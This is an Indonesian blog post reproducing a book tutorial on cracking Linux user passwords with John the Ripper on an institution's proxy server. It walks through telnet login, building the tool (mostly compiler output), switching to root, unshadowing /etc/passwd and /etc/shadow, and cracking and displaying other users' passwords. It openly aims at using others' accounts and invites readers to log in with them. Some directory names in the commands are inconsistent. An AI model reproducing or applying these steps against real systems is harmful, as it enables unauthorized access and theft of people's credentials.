Sabtu, 12 Juni 2010

-- Hacking Password User di Mesin Linux --

Sumber : Dari buku Elex Media Komputindo Januari 2007
Penulis : Whindy

-- Hacking Password User di Mesin Linux --

Kali ini kita akan melakukan teknik hacking password di Linux. Teknik ini digunakan untuk mendapatkan password user yang tercatat di sistem Linux, baik di lingkungan jaringan maupun komputer stand alone.Kita bisa menggunakan user orang lain untuk mengakses sistem. Mungkin sebagian dari Anda pernah mencoba salah satu software yang cukup terkenal di lingkungan Unix/Linux ini. Software ini dinamakan John the Ripper Password.Pada kasus kali ini, saya akan mencoba untuk menggunakan salah satu mesin server Linux Redhat di suatu instansi yang menggunakan server Linux sebagai proxy server internet mereka. Tentunya langkah-langkah yang dilakukan di sini bisa berbeda dengan yang anda uji coba di tempat Anda.

1. Gunakan Google untuk mencari alamat paket John the Ripper dengan kata kunci “john”.

Gambar 1 Memasukkan kata kunci di Google

2. Telnet ke server Linux, diasumsikan alamat IP Address Server adalah 192.168.0.254.

Gambar 2 Telnet ke server target


3. Masukkan nama user dan password pada promp login. Pada kasus ini diasumsikan saya memiliki account di server.

Gambar 3 Login ke server


4. Pada promp shell Linux, gunakan wget untuk men download paket John the Ripper dengan mengetikkan perintah:

Gambar 4 Men-download paket software menggunakan wget


5. Ekstraklah paket software John the Ripper.

[syukrie@lp3iserv syukrie]$ tar xvfz john-
1.7.2.tar.gz

6. Pindah ke direktori john-1.7.2.

[syukrie@lp3iserv syukrie]$ cd john-1.7.2/src

7. Instalasi paket software John the Ripper menggunakan perintah “make” dengan opsi “linuxx86 - sse2”.

[syukrie@lp3iserv src]$ make linux-x86-sse2

Proses instalasi akan terlihat seperti berikut ini.
ln -sf x86-sse.h arch.h

make ../run/john ../run/unshadow ../run/unafs ../run/unique \
JOHN_OBJS="DES_fmt.o DES_std.o DES_bs.o
BSDI_fmt.o MD5_fmt.o MD5_std.o BF_fmt.o
BF_std.o AFS_fmt.o LM_fmt.o batch.o bench.o
charset.o common.o compiler.o config.o
cracker.o crc32.o external.o formats.o
getopt.o idle.o inc.o john.o list.o loader.o
logger.o math.o memory.o misc.o options.o
params.o path.o recovery.o rpp.o rules.o
signals.o single.o status.o tty.o wordlist.o
unshadow.o unafs.o unique.o x86.o x86-sse.o"

make[1]: Entering directory `/home/syukrie/john-1.7.2/src'

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops DES_fmt.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops DES_std.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops DES_bs.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops BSDI_fmt.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops MD5_fmt.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops MD5_std.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops BF_fmt.c


gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops BF_std.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops AFS_fmt.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops LM_fmt.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops batch.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops bench.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops charset.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops common.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops compiler.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops config.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops cracker.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops crc32.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops external.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops formats.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops getopt.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops idle.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops inc.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops john.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops list.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops loader.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops logger.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops math.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops memory.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops misc.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops options.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops params.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops path.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops recovery.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops rpp.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops rules.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops signals.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops single.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops status.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops tty.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops wordlist.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops unshadow.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops unafs.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops unique.c

gcc -c x86.S

gcc -c x86-sse.S

gcc -s DES_fmt.o DES_std.o DES_bs.o BSDI_fmt.o
MD5_fmt.o MD5_std.o BF_fmt.o BF_std.o
AFS_fmt.o LM_fmt.o batch.o bench.o charset.o
common.o compiler.o config.o cracker.o crc32.o
external.o formats.o getopt.o idle.o inc.o
john.o list.o loader.o logger.o math.o
memory.o misc.o options.o params.o path.o
recovery.o rpp.o rules.o signals.o single.o
status.o tty.o wordlist.o unshadow.o unafs.o
unique.o x86.o x86-sse.o -o ../run/john

rm -f ../run/unshadow

ln -s john ../run/unshadow

rm -f ../run/unafs

ln -s john ../run/unafs

rm -f ../run/unique

ln -s john ../run/unique

make[1]: Leaving directory
`/home/syukrie/john-1.7.2/src'

Catatan:
􀀹 Opsi ini dipakai sesuai dengan sistem operasi
yang digunakan, yakni Linux, untuk instalasi
paket John the Ripper. Jika Anda menggunakan
mesin FreeBSD, gunakan opsi “freebsdx86-
sse2”

􀀹 Untuk mengetahui penggunaan opsi ini, Anda
dapat ketikkan perintah “make” saja di shell.

􀀹 Jika Anda ingin menginstalasi paket John the
Ripper untuk mesin yang general, gunakan
opsi “generic”. Namun opsi ini akan memperlambat
proses instalasi.

8. Hapus sisa instalasi menggunakan perintah “make
clean” dengan opsi “linux-x86-sse2”.

[syukrie@lp3iserv src]$ make clean linux-x86 - sse2

rm -f ../run/john ../run/unshadow ../run/unafs
../run/unique ../run/john.bin ../run/john.com
../run/unshadow.com ../run/unafs.com
../run/unique.com ../run/john.exe
../run/unshadow.exe ../run/unafs.exe
../run/unique.exe

rm -f ../run/john.exe *.o *.bak core

rm -f detect bench generic.h arch.h sparc.h
tmp.s

rm -f DES_bs_s.c DES_bs_n.c DES_bs_a.c

cp /dev/null Makefile.dep

ln -sf x86-sse.h arch.h

make ../run/john ../run/unshadow ../run/unafs
../run/unique \

JOHN_OBJS="DES_fmt.o DES_std.o DES_bs.o
BSDI_fmt.o MD5_fmt.o MD5_std.o BF_fmt.o
BF_std.o AFS_fmt.o LM_fmt.o batch.o bench.o
charset.o common.o compiler.o config.o
cracker.o crc32.o external.o formats.o
getopt.o idle.o inc.o john.o list.o loader.o
logger.o math.o memory.o misc.o options.o
params.o path.o recovery.o rpp.o rules.o
signals.o single.o status.o tty.o wordlist.o
unshadow.o unafs.o unique.o x86.o x86-sse.o"

make[1]: Entering directory
`/home/syukrie/john-1.7.2/src'

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops DES_fmt.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops DES_std.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops DES_bs.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops BSDI_fmt.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops MD5_fmt.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops MD5_std.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops BF_fmt.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops BF_std.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops AFS_fmt.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops LM_fmt.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops batch.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops bench.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops charset.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops common.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops compiler.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops config.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops cracker.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops crc32.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops external.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops formats.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops getopt.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops idle.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops inc.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops john.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops list.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops loader.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops logger.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops math.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops memory.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops misc.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops options.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops params.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops path.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops recovery.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops rpp.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops rules.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops signals.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops single.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops status.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops tty.c
gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops wordlist.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops unshadow.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops unafs.c

gcc -c -Wall -O2 -fomit-frame-pointer -
funroll-loops unique.c

gcc -c x86.S

gcc -c x86-sse.S

gcc -s DES_fmt.o DES_std.o DES_bs.o BSDI_fmt.o
MD5_fmt.o MD5_std.o BF_fmt.o BF_std.o
AFS_fmt.o LM_fmt.o batch.o bench.o charset.o
common.o compiler.o config.o cracker.o crc32.o
external.o formats.o getopt.o idle.o inc.o
john.o list.o loader.o logger.o math.o
memory.o misc.o options.o params.o path.o
recovery.o rpp.o rules.o signals.o single.o
status.o tty.o wordlist.o unshadow.o unafs.o
unique.o x86.o x86-sse.o -o ../run/john

rm -f ../run/unshadow

ln -s john ../run/unshadow

rm -f ../run/unafs

ln -s john ../run/unafs
rm -f ../run/unique

ln -s john ../run/unique

make[1]: Leaving directory
`/home/syukrie/john-1.7.2/src'

9. Ambil file passwd dan shadow di direktori /etc.
􀂃 Perintah untuk berpindah dari user biasa ke user root.

[syukrie@lp3iserv syukrie]$su –

􀂃 Perintah untuk berpindah ke direktori john- 1.2.7/run.

[root @lp3iserv run]# cd
/home/syukrie/john-1.2.7/run

􀂃 Perintah untuk membuat file mypasswd.

[root @lp3iserv run]# umask 077

[root @lp3iserv run]# unshadow /etc/passwd
/etc/shadow > mypasswd

10. Jalankan John the Ripper, berikut perintahnya.

[root @lp3iserv run]# ./john mypasswd

11. Lihat hasilnya, berikut perintahnya.

[root@lp3iserv run]# ./john --show mypasswd


Gambar 5 Hasil pencarian Username dan Password


Sekarang kita dapat mengetahui password user guest dan tamu seperti terlihat pada Gambar 5.☺

Anda tentunya bisa menggunakan account yang sudah anda dapatkan password-nya tersebut. ☺

Tidak ada komentar: